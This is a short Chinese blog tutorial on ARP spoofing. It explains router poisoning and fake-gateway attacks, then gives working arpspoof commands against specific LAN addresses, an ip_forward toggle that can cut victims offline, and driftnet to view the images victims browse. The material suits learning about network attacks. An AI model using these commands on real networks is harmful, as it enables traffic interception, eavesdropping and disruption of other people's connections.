arp欺骗

Posted 2020-08-09

arp欺骗分为两种，一种是对路由器的欺骗，一种是对内网pc的网关欺骗

第一种的原理是截获网关数据。它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址

第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。

第二种欺骗的代码有

echo 1 > /proc/sys/net/ipv4/ip_forward -- 1是指替被欺骗的pc像网关发送数据 改为0则是不发送数据，被骗的pc就无法正常上网

arpspoof -i eth0 -t 172.28.15.41 172.28.15.254  ——欺骗172.28.15.41他要找的网关172.28.15.254是我的电脑上的网关，使得被骗的pc将数据发送到我的电脑

第二种欺骗代码

driftnet 是指监听被骗pc所浏览的图片

arpspoof -i eth0 -t 172.28.15.254 172.28.15.41 欺骗网关 ，前一个为网关，后一个为被骗ip地址